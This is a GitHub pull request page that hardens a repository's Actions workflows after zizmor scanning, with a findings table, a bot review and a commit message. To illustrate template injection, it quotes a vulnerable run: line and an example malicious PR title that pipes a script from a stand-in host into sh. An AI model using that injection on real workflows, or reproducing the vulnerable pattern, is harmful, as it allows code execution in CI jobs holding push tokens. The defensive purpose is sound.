Skip to content

ci: [SC-66825] run zizmor and fix GitHub Actions findings - #60

Merged
mbabic merged 1 commit into
mainfrom
ci/sc-66825/zizmor-ci-and-actions-hardening
Aug 18, 2026
Merged

ci: [SC-66825] run zizmor and fix GitHub Actions findings#60
mbabic merged 1 commit into
mainfrom
ci/sc-66825/zizmor-ci-and-actions-hardening

Conversation

@mbabic

@mbabic mbabic commented Aug 17, 2026

Copy link
Copy Markdown
Contributor

Runs zizmor in CI and fixes the findings it reports. Part of sc-66825; modeled on narrative-skills-marketplace PR #108, the reference implementation for this ticket.

This was the largest of the five repos — 15 findings, and the only one needing real per-workflow judgment rather than a mechanical pattern.

Findings fixed

Finding Severity Where Fix
template-injection ×3 High tag_and_release.yml, release.yml ×2 routed through env:
template-injection ×3 Low tag_and_release.yml use the shell variable directly
artipacked ×2 Medium codeql.yml, pypi-release.yml persist-credentials: false
artipacked ×2 Medium release.yml, tag_and_release.yml suppressed — these jobs must push
excessive-permissions ×2 Medium tag_and_release.yml, backup-daily.yml explicit scoped permissions:
secrets-inherit Medium backup-daily.yml dropped secrets: inherit
superfluous-actions Info tag_and_release.yml replaced the action with gh
use-trusted-publishing Info pypi-release.yml suppressed — see below

All three highs are genuinely fixed.

tag_and_release.yml expanded the pull request title directly into a run: script:

VERSION=$(echo "${{ github.event.pull_request.title }}" | grep -oE "...")

The runner substitutes ${{ }} into the script text before bash ever sees it, and a PR title is chosen by whoever opens the PR. A title like x"; curl evil.sh | sh; " becomes executable code in a job that holds a token and pushes tags. It's gated behind a maintainer merging with a release label, which narrows it but doesn't close it — the title is still attacker-authored. Now routed through env: so the value stays data.

The other two highs are workflow_dispatch inputs expanded into sed scripts in release.yml. Triggering that takes write access, so the practical risk is lower, but an input interpolated into a script is executable text regardless of who supplies it.

On the sed re-quoting: moving the value out of the expression forced those scripts from single to double quotes, which changes escaping semantics. I verified the old and new scripts expand to byte-identical strings rather than eyeballing it:

sed script 1: IDENTICAL
sed script 2: IDENTICAL

Copilot AI lite review requested due to automatic review settings August 17, 2026 23:44
@github-advanced-security

Copy link
Copy Markdown

You are seeing this message because GitHub Code Scanning has recently been set up for this repository, or this pull request contains the workflow file for the Code Scanning tool.

What Enabling Code Scanning Means:

  • The 'Security' tab will display more code scanning analysis results (e.g., for the default branch).
  • Depending on your configuration and choice of analysis tool, future pull requests will be annotated with code scanning analysis results.
  • You will be able to see the analysis results for the pull request's branch on this overview once the scans have completed and the checks have passed.

For more information about GitHub Code Scanning, check out the documentation.

Copilot AI left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds zizmor-based GitHub Actions hardening to CI and applies workflow-level changes to eliminate or suppress zizmor findings across the repository’s existing workflows.

Changes:

  • Introduces a dedicated zizmor workflow to run GitHub Actions security analysis in CI.
  • Hardens release/tag workflows against template injection by routing attacker-controlled / user-provided values through env: and using shell variables.
  • Adjusts workflow credentials/permissions handling (e.g., persist-credentials: false, explicit permissions, removal of secrets: inherit) and documents/suppresses a small number of justified findings.

Reviewed changes

Copilot reviewed 6 out of 6 changed files in this pull request and generated 2 comments.

Show a summary per file
File Description
.github/workflows/zizmor.yml Adds a CI workflow to run zizmor and upload SARIF results.
.github/workflows/tag_and_release.yml Fixes template-injection findings; scopes permissions; replaces third-party release action with gh.
.github/workflows/release.yml Fixes template-injection findings in sed invocations; documents why credentials must persist for release PR creation.
.github/workflows/pypi-release.yml Disables persisted checkout credentials for a build/upload-only job; documents and suppresses trusted-publishing finding.
.github/workflows/codeql.yml Disables persisted checkout credentials for CodeQL workflow.
.github/workflows/backup-daily.yml Scopes permissions and removes secrets: inherit from the reusable-workflow invocation.

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

Comment thread .github/workflows/pypi-release.yml
Comment thread .github/workflows/zizmor.yml
Adds a zizmor CI workflow modeled on narrative-skills-marketplace
(PR #108) and fixes the findings it reports.

template-injection (3 high, 3 low):
- tag_and_release.yml expanded the pull request title straight into a
  run: script. The title is attacker-controlled -- anyone who can open
  a PR picks it -- so a title carrying shell metacharacters became
  executable text in a job that pushes tags. Now routed through env:.
- release.yml expanded a workflow_dispatch input into two sed scripts.
  Both now go through env:. The sed scripts were re-quoted from single
  to double quotes; the resulting script strings are byte-identical,
  verified by comparison.
- The remaining low findings were ${{ env.VERSION }} expansions;
  VERSION already reaches those steps via GITHUB_ENV, so they now use
  the plain shell variable.

artipacked:
- codeql.yml and pypi-release.yml get persist-credentials: false;
  neither pushes via git.
- release.yml and tag_and_release.yml keep their credentials and carry
  a justified suppression: create-pull-request and 'git push' both
  need them.

excessive-permissions:
- tag_and_release.yml had no permissions block; scoped to
  contents: write.
- backup-daily.yml scoped to contents: read, and drops secrets:
  inherit (secrets-inherit).
- pypi-release.yml listed only id-token: write. A job-level
  permissions block sets every scope it does not list to none, so
  GITHUB_TOKEN had contents: none while actions/checkout needs
  contents: read. Pre-existing, and the workflow has never run, so it
  was never exercised. Raised in review on PR #60.

superfluous-actions is suppressed: replacing action-gh-release with
'gh release create' would change the release path, which is out of
scope for this sweep.

use-trusted-publishing is suppressed with a written justification;
switching pypi-release.yml to the action's built-in OIDC exchange can
only be validated by cutting a real release, so it is left as a
follow-up recorded in the pull request description.
@mbabic
mbabic force-pushed the ci/sc-66825/zizmor-ci-and-actions-hardening branch from f320ae1 to e99d5e0 Compare August 18, 2026 20:33
@mbabic
mbabic merged commit 0f07010 into main Aug 18, 2026
4 checks passed
@mbabic
mbabic deleted the ci/sc-66825/zizmor-ci-and-actions-hardening branch August 18, 2026 21:01
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants